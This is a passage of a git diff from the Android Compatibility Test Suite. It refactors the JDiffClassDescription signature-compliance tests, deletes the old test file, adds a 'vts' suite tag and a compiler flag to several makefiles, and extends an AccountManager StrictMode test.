+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "VALUE_FIELD", "java.lang.String",
+                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"&#9992;\"");
+        clz.addField(field);
+        checkSignatureCompliance(clz, observer);
+        assertEquals(field.toSignatureString(),
+                "public static final java.lang.String VALUE_FIELD");
+        observer.validate();
+    }
+
+    public void testInnerClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalClass.InnerClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC);
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "innerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
+    }
+
+    public void testInnerInnerClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalClass.InnerClass.InnerInnerClass"
+        );
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC);
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "innerInnerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(),
+                "public class NormalClass.InnerClass.InnerInnerClass");
+    }
+
+    public void testInnerInterface() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalClass.InnerInterface");
+        clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
+        clz.setModifier(Modifier.PUBLIC | Modifier.STATIC | Modifier.ABSTRACT);
+        clz.addMethod(
+                new JDiffClassDescription.JDiffMethod("doSomething",
+                    Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
+    }
+
+    public void testInterface() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalInterface");
+        clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
+        clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+        clz.addMethod(
+                new JDiffClassDescription.JDiffMethod("doSomething",
+                    Modifier.ABSTRACT| Modifier.PUBLIC, "void"));
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(), "public interface NormalInterface");
+    }
+
+    public void testFinalClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "FinalClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(), "public final class FinalClass");
+    }
+
+    /**
+     * Test the case where the API declares the method not synchronized, but it
+     * actually is.
+     */
+    public void testAddingSync() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "syncMethod", Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz, observer);
+        observer.validate();
+    }
+
+    /**
+     * Test the case where the API declares the method is synchronized, but it
+     * actually is not.
+     */
+    public void testRemovingSync() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "notSyncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * API says method is not native, but it actually is. http://b/1839558
+     */
+    public void testAddingNative() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "nativeMethod", Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * API says method is native, but actually isn't. http://b/1839558
+     */
+    public void testRemovingNative() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "notNativeMethod", Modifier.NATIVE | Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+    }
+
+    public void testAbstractClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "AbstractClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(), "public abstract class AbstractClass");
+    }
+
+    /**
+     * API lists class as abstract, reflection does not. http://b/1839622
+     */
+    public void testRemovingAbstractFromAClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * reflection lists class as abstract, api does not. http://b/1839622
+     */
+    public void testAddingAbstractToAClass() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "AbstractClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC);
+        checkSignatureCompliance(clz, observer);
+        observer.validate();
+    }
+
+    public void testFinalMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "finalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "public final void finalMethod()");
+    }
+
+    /**
+     * Final Class, API lists methods as non-final, reflection has it as final.
+     * http://b/1839589
+     */
+    public void testAddingFinalToAMethodInAFinalClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "FinalClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "finalMethod", Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * Final Class, API lists methods as final, reflection has it as non-final.
+     * http://b/1839589
+     */
+    public void testRemovingFinalToAMethodInAFinalClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "FinalClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "nonFinalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+    }
+
+    /**
+     * non-final Class, API lists methods as non-final, reflection has it as
+     * final. http://b/1839589
+     */
+    public void testAddingFinalToAMethodInANonFinalClass() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC);
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "finalMethod", Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz, observer);
+        observer.validate();
+    }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java b/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
deleted file mode 100644
index 6e477ae..0000000
--- a/tests/signature/tests/src/android/signature/cts/tests/JDiffClassDescriptionTest.java
+++ /dev/null
@@ -1,501 +0,0 @@
-/*
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts.tests;
-
-import android.signature.cts.FailureType;
-import android.signature.cts.JDiffClassDescription;
-import android.signature.cts.ResultObserver;
-
-import junit.framework.Assert;
-import junit.framework.TestCase;
-
-import java.lang.reflect.Modifier;
-
-/**
- * Test class for JDiffClassDescription.
- */
-public class JDiffClassDescriptionTest extends TestCase {
-
-    private static final String VALUE = "VALUE";
-
-    private class NoFailures implements ResultObserver {
-        @Override
-        public void notifyFailure(FailureType type, String name, String errmsg) {
-            Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
-        }
-    }
-
-    private class ExpectFailure implements ResultObserver {
-        private FailureType expectedType;
-        private boolean failureSeen;
-
-        public ExpectFailure(FailureType expectedType) {
-            this.expectedType = expectedType;
-        }
-
-        @Override
-        public void notifyFailure(FailureType type, String name, String errMsg) {
-            if (type == expectedType) {
-                if (failureSeen) {
-                    Assert.fail("Saw second test failure: " + name + " failure type: " + type);
-                } else {
-                    // We've seen the error, mark it and keep going
-                    failureSeen = true;
-                }
-            } else {
-                Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
-            }
-        }
-
-        public void validate() {
-            Assert.assertTrue(failureSeen);
-        }
-    }
-
-    /**
-     * Create the JDiffClassDescription for "NormalClass".
-     *
-     * @return the new JDiffClassDescription
-     */
-    private JDiffClassDescription createNormalClass() {
-        return createNormalClass(new NoFailures());
-    }
-
-    /**
-     * Create the JDiffClassDescription for "NormalClass".
-     *
-     * @return the new JDiffClassDescription
-     */
-    private JDiffClassDescription createNormalClass(ResultObserver observer) {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalClass", observer);
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC);
-        return clz;
-    }
-
-    public void testNormalClassCompliance() {
-        JDiffClassDescription clz = createNormalClass();
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(), "public class NormalClass");
-    }
-
-    public void testMissingClass() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS);
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NoSuchClass", observer);
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.checkSignatureCompliance();
-        observer.validate();
-    }
-
-    public void testSimpleConstructor() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PUBLIC);
-        clz.addConstructor(constructor);
-        clz.checkSignatureCompliance();
-        assertEquals(constructor.toSignatureString(), "public NormalClass()");
-    }
-
-    public void testOneArgConstructor() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PRIVATE);
-        constructor.addParam("java.lang.String");
-        clz.addConstructor(constructor);
-        clz.checkSignatureCompliance();
-        assertEquals(constructor.toSignatureString(), "private NormalClass(java.lang.String)");
-    }
-
-    public void testConstructorThrowsException() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PROTECTED);
-        constructor.addParam("java.lang.String");
-        constructor.addParam("java.lang.String");
-        constructor.addException("android.signature.cts.tests.data.NormalException");
-        clz.addConstructor(constructor);
-        clz.checkSignatureCompliance();
-        assertEquals(constructor.toSignatureString(),
-                "protected NormalClass(java.lang.String, java.lang.String) " +
-                "throws android.signature.cts.tests.data.NormalException");
-    }
-
-    public void testPackageProtectedConstructor() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffConstructor constructor =
-                new JDiffClassDescription.JDiffConstructor("NormalClass", 0);
-        constructor.addParam("java.lang.String");
-        constructor.addParam("java.lang.String");
-        constructor.addParam("java.lang.String");
-        clz.addConstructor(constructor);
-        clz.checkSignatureCompliance();
-        assertEquals(constructor.toSignatureString(),
-                "NormalClass(java.lang.String, java.lang.String, java.lang.String)");
-    }
-
-    public void testStaticMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "staticMethod", Modifier.STATIC | Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "public static void staticMethod()");
-    }
-
-    public void testSyncMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "syncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "public synchronized void syncMethod()");
-    }
-
-    public void testPackageProtectMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "packageProtectedMethod", 0, "boolean");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "boolean packageProtectedMethod()");
-    }
-
-    public void testPrivateMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "privateMethod", Modifier.PRIVATE, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "private void privateMethod()");
-    }
-
-    public void testProtectedMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "protectedMethod", Modifier.PROTECTED, "java.lang.String");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "protected java.lang.String protectedMethod()");
-    }
-
-    public void testThrowsMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "throwsMethod", Modifier.PUBLIC, "void");
-        method.addException("android.signature.cts.tests.data.NormalException");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "public void throwsMethod() " +
-                "throws android.signature.cts.tests.data.NormalException");
-    }
-
-    public void testNativeMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "nativeMethod", Modifier.PUBLIC | Modifier.NATIVE, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "public native void nativeMethod()");
-    }
-
-    public void testFinalField() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
-    }
-
-    public void testStaticField() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
-    }
-
-    public void testVolatileFiled() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
-    }
-
-    public void testTransientField() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "TRANSIENT_FIELD", "java.lang.String",
-                Modifier.PUBLIC | Modifier.TRANSIENT, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(),
-                "public transient java.lang.String TRANSIENT_FIELD");
-    }
-
-    public void testPackageField() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
-    }
-
-    public void testPrivateField() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
-    }
-
-    public void testProtectedField() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
-    }
-
-    public void testFieldValue() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "VALUE_FIELD", "java.lang.String",
-                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"\\u2708\"");
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(),
-                "public static final java.lang.String VALUE_FIELD");
-    }
-
-    public void testFieldValueChanged() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
-        JDiffClassDescription clz = createNormalClass(observer);
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "VALUE_FIELD", "java.lang.String",
-                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"&#9992;\"");
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(field.toSignatureString(),
-                "public static final java.lang.String VALUE_FIELD");
-        observer.validate();
-    }
-
-    public void testInnerClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalClass.InnerClass", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC);
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "innerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
-    }
-
-    public void testInnerInnerClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalClass.InnerClass.InnerInnerClass",
-                new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC);
-        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
-                "innerInnerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
-        clz.addField(field);
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(),
-                "public class NormalClass.InnerClass.InnerInnerClass");
-    }
-
-    public void testInnerInterface() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalClass.InnerInterface", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
-        clz.setModifier(Modifier.PUBLIC | Modifier.STATIC | Modifier.ABSTRACT);
-        clz.addMethod(
-                new JDiffClassDescription.JDiffMethod("doSomething",
-                    Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
-    }
-
-    public void testInterface() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalInterface", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
-        clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
-        clz.addMethod(
-                new JDiffClassDescription.JDiffMethod("doSomething",
-                    Modifier.ABSTRACT| Modifier.PUBLIC, "void"));
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(), "public interface NormalInterface");
-    }
-
-    public void testFinalClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "FinalClass", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(), "public final class FinalClass");
-    }
-
-    /**
-     * Test the case where the API declares the method not synchronized, but it
-     * actually is.
-     */
-    public void testAddingSync() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
-        JDiffClassDescription clz = createNormalClass(observer);
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "syncMethod", Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        observer.validate();
-    }
-
-    /**
-     * Test the case where the API declares the method is synchronized, but it
-     * actually is not.
-     */
-    public void testRemovingSync() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "notSyncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-    }
-
-    /**
-     * API says method is not native, but it actually is. http://b/1839558
-     */
-    public void testAddingNative() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "nativeMethod", Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-    }
-
-    /**
-     * API says method is native, but actually isn't. http://b/1839558
-     */
-    public void testRemovingNative() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "notNativeMethod", Modifier.NATIVE | Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-    }
-
-    public void testAbstractClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "AbstractClass", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
-        clz.checkSignatureCompliance();
-        assertEquals(clz.toSignatureString(), "public abstract class AbstractClass");
-    }
-
-    /**
-     * API lists class as abstract, reflection does not. http://b/1839622
-     */
-    public void testRemovingAbstractFromAClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalClass", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
-        clz.checkSignatureCompliance();
-    }
-
-    /**
-     * reflection lists class as abstract, api does not. http://b/1839622
-     */
-    public void testAddingAbstractToAClass() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "AbstractClass", observer);
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC);
-        clz.checkSignatureCompliance();
-        observer.validate();
-    }
-
-    public void testFinalMethod() {
-        JDiffClassDescription clz = createNormalClass();
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "finalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        assertEquals(method.toSignatureString(), "public final void finalMethod()");
-    }
-
-    /**
-     * Final Class, API lists methods as non-final, reflection has it as final.
-     * http://b/1839589
-     */
-    public void testAddingFinalToAMethodInAFinalClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "FinalClass", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "finalMethod", Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-    }
-
-    /**
-     * Final Class, API lists methods as final, reflection has it as non-final.
-     * http://b/1839589
-     */
-    public void testRemovingFinalToAMethodInAFinalClass() {
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "FinalClass", new NoFailures());
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "nonFinalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-    }
-
-    /**
-     * non-final Class, API lists methods as non-final, reflection has it as
-     * final. http://b/1839589
-     */
-    public void testAddingFinalToAMethodInANonFinalClass() {
-        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
-        JDiffClassDescription clz = new JDiffClassDescription(
-                "android.signature.cts.tests.data", "NormalClass", observer);
-        clz.setType(JDiffClassDescription.JDiffType.CLASS);
-        clz.setModifier(Modifier.PUBLIC);
-        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
-                "finalMethod", Modifier.PUBLIC, "void");
-        clz.addMethod(method);
-        clz.checkSignatureCompliance();
-        observer.validate();
-    }
-}
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index 1d006e1..618a9bc 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsSimpleCpuTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/simplecpu/jni/Android.mk b/tests/simplecpu/jni/Android.mk
index 877f1b6..c5f072e 100644
--- a/tests/simplecpu/jni/Android.mk
+++ b/tests/simplecpu/jni/Android.mk
@@ -26,4 +26,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index a3c1f92..f5ac4fa 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -24,6 +24,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     CtsAccountTestsCommon ctstestrunner legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -35,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index fda4bd0..924b378 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsUnaffiliatedAccountAuthenticators
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index 795fcd6..c940c3f 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -2297,9 +2297,32 @@
         try {
             StrictMode.setThreadPolicy(
                     new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build());
+            // getAccounts()
             Account[] accounts = am.getAccounts();
             assertNotNull(accounts);
             assertTrue(accounts.length > 0);
+
+            // getAccountsAndVisibilityForPackage(...)
+            Map<Account, Integer> accountsAndVisibility =
